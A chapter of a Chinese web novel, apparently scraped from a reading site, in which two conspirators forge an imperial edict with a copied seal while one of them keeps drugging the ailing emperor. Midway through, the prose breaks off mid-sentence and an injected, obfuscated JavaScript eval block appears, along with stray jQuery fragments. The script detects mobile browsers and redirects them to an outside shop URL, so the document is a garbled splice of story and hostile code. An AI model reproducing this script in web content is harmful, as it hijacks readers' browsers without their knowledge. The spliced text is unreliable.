第一百零八章 诏书暗刃

作品:《开局被毒哑,娇娇变大佬

    陆衍从宫门出来时,天色已近黄昏。他步履平稳,袖中那把薄刃小刀贴着皮肤,未发出半点声响。赵峰的马车停在西角门巷口,车帘掀开一角,沈清沅坐在里面,手里捏着一张纸。


    他上车,车轮随即滚动。车内无灯,只有街边灯笼透进微光,照在她膝上摊开的密诏上。她没抬头,指尖沿着纸面一行行滑过,动作缓慢却精准。陆衍坐定后,从怀中取出一只布包,递过去。


    “御书房夹层里的印匣,我取出来了。”他说,“守卫换班间隙,三息足够。”


    她接过布包,打开,里面是一方木匣,匣盖雕龙纹,锁扣完好。她用指甲挑开暗扣,匣内衬红绒,一方玉印静静卧着——是御印副本,非金非石,质地温润泛青,与正印形制无二,唯底部刻痕略浅。


    她抬眼看他,提笔在纸上写:“你父亲当年参与改制印鉴,可留过什么记号?”


    陆衍沉默片刻,伸手轻抚印底一角,指腹摩挲某处微凸。“这里,原该有梅花纹,是太医院院判经手时加的防伪标记。现在没了,被人磨平了。”


    她眼神一凝,笔尖悬空,片刻后落下:“王院判动的手。”


    陆衍点头:“他掌太医院十年,有机会接触印模。若北狄早与他勾结,这印,就是他们预备的退路。”


    她将印放回匣中,合上盖子,又从袖中抽出另一张纸——那是鸿胪寺今日收到的密诏抄本,字迹工整,内容清晰:命鸿胪寺即日起软禁西域使团,不得出入驿馆,违者以通敌论。


    她冷笑,提笔蘸墨,在空白处重写诏文。笔走龙蛇,字字如刀:“特许西域神医阿依古丽率队入宫,为陛下亲诊,沿途官吏不得阻拦,违者以欺君论。”


    写罢,她将新诏与旧诏并排摊开,递给陆衍看。“字迹模仿得如何?”


    “九成像。”他扫了一眼,“缺的是皇帝落笔时那一顿——他写字总在‘朕’字末尾拖半分力。”


    她点头,从匣中取出御印副本,稳稳盖在新诏末端。印泥鲜红,龙纹清晰,毫无破绽。


    “明日早朝前,这份诏书会出现在鸿胪寺卿案头。”她说,“由你亲手送去。”


    陆衍没问怎么送,只说:“禁军盘查严,我身上不能带印。”


    “不用带。”她写,“印留在你药箱底层夹板里。你只需把诏书交给周中丞,他会安排人替换鸿胪寺存档原本。”


    车外传来喧哗声,是西市方向人群未散,百姓仍在议论西域神医赠药之事。沈清沅掀帘看了一眼,放下,继续写:“皇帝左手已废,右臂开始发麻。他撑不过三日,必召阿依古丽入宫。”


    陆衍看着她腿上绷带渗出的血迹,皱眉:“你该歇着。”


    “等他签下自己的囚笼,我再歇。”她写完,将两份诏书卷起,一份塞进陆衍怀中,一份收入自己袖袋。


    马车在茶楼后巷停下。周中丞早已等候,见两人下车,快步迎上。“鸿胪寺那边刚传消息,说北狄使节闹着要见陛下,被挡在殿外。”


    沈清沅点头,写:“让他们闹。越闹,皇帝越觉得西域医术是唯一出路。”


    周中丞压低声音:“可礼部那边也在动,说要联名上奏,请陛下拒见西域人,以防有诈。”


    “让他们上。”她写,“奏折递上去,皇帝只会更慌。他现在最怕的不是外邦人,是自己瘫在床上没人能治。”


    陆衍开口:“我明早进宫,会再加重药量。他右臂若完全失力,就会主动求阿依古丽诊治。”


    沈清沅看他一眼,提笔:“别让他昏太久。我要他清醒着签诏。”


    陆衍应下,转身欲走,又被她叫住。她从袖中取出那支银簪,递给他。“明日进宫,把它藏在药箱夹层。若皇帝疑心,就说是你祖传镇脉针,专治经络闭塞。”


    他接过,簪身冰凉,尖端锐利。“你母亲的遗物,真要拿来赌?”


    “它杀过人,也救过人。”她写,“现在,该让它替我娘掀开龙椅了。”


    夜深,陆衍回到地窖,将药箱放在桌上,打开底层夹板,把御印副本嵌入暗格。银簪则藏在针包最里层,与金针并列,毫不起眼。他坐在灯下,重新誊抄了一份诏书,字迹刻意模仿皇帝笔锋,在“朕”字末尾多拖了一笔。


    翌日天未亮,他提箱入宫。养心殿外,两名太监候着,见他来,立刻引路。“陛下昨夜未眠,今早传膳时摔了碗,说左腿也麻了。”


    陆衍点头,进殿。皇帝靠在榻上,面色灰白,右臂搭在扶手上,手指微微颤抖。见他进来,皇帝抬眼,声音沙哑:“你的药,怎么越吃越重?”


    “回陛下,病根深,需猛药攻之。”陆衍跪地诊脉,袖中手指悄然探向药箱暗格,“若陛下允臣施针,或可暂缓麻痹。”


    皇帝盯着他:“针?用什么针?”


    “祖传银针,专通奇经八脉。”陆衍取出银簪,举至眼前,“此针曾救活三位瘫痪老臣,臣父临终前嘱托,非危急不得轻用。”


    皇帝目光落在簪身上,看了许久,终于点头:“……扎。”


    陆衍起身,走到皇帝身后,银簪尖端抵住脊柱某处凸起,缓缓刺入。皇帝身体一颤,闷哼一声,却未喊停。


    “忍一忍。”陆衍低声道,“气走督脉,痛是好事。”


    皇帝咬牙,额上渗汗,右臂却渐渐有了知觉,手指能轻微屈伸。他眼中闪过一丝喜色,声音缓和:“果然有效……你这针,从哪得来的?”


    “家父所留。”陆衍收


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840886|191112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    针,退后一步,“陛下若信得过,臣愿日日施针,七日可见大效。”


    皇帝喘息稍定,挥手:“准了。从今日起,你住宫中偏殿,随时听召。”


    陆衍叩首:“谢陛下隆恩。另有一事,臣斗胆请旨——西域神医阿依古丽,擅解奇毒痹症,或可与臣配合,共疗圣体。”


    皇帝眼神一冷:“朕昨日才下令软禁她。”


    “软禁无益。”陆衍低头,“若她真有本事,拘着反惹民怨;若她无能,放进来也翻不出浪。陛下何不借她之手,试天下人心?”


    皇帝沉默良久,终于开口:“……宣鸿胪寺卿。”


    陆衍退至一旁,袖中手指再次触到那把薄刃小刀。他知道,真正的棋局,此刻才真正落子。


    辰时,鸿胪寺卿匆匆入宫,手中捧着两份诏书——一份是昨日密令,一份是今晨新颁。他跪在御前,声音发颤:“陛下,这两份诏书……字迹相同,印鉴一致,但内容相悖,臣不敢擅专。”


    皇帝接过,一一细看,眉头紧锁。他抬头看向陆衍:“你见过新诏?”


    “臣未见。”陆衍答,“但听闻西域商队已在宫外候旨,百姓称颂神医仁心。若陛下拒之,恐寒万民之心。”


    皇帝盯着诏书,手指无意识摩挲印痕。那印,他认得——是他登基那年改制的新印,材质特殊,唯有太医院经手之人知晓配方。王院判已死,这印怎会流出?


    他忽然想起陆衍的父亲——那位被冤杀的院判,正是当年印鉴改制的主理人之一。


    皇帝眼神一沉,将新诏掷于案上:“准了。让那西域女人进来。”


    鸿胪寺卿领命退下。陆衍仍跪在原地,未动。


    皇帝看他:“你还有事?”


    “臣请陛下亲笔朱批,以昭郑重。”陆衍叩首,“西域人重仪式,若无陛下亲书‘准’字,恐生疑虑。”


    皇帝盯着他,良久,终于提笔,在新诏末端写下“准”字,笔锋拖长,墨迹饱满。


    陆衍叩谢,起身退出。走出殿门时,他袖中那把小刀轻轻一划,割开了药箱夹层一角——御印副本,已悄然滑入袖袋深处。


    宫外,沈清沅站在茶楼窗后,看着鸿胪寺仪仗引阿依古丽一行入宫。她转身下楼,腿伤让她步伐微滞,却未停。赵峰迎上来:“成了?”


    她点头,从袖中取出那份盖有御印、写有皇帝亲笔“准”字的诏书,轻轻一撕,分为两半。


    一半留给自己,一半递给赵峰:“拿去,让全京城都知道——皇帝亲口请西域神医入宫。”


    赵峰接过,眼中发亮:“接下来呢?”


    她提笔,在纸上写:“等他瘫在床上,求我们救他时——我要他亲手签下退位诏。”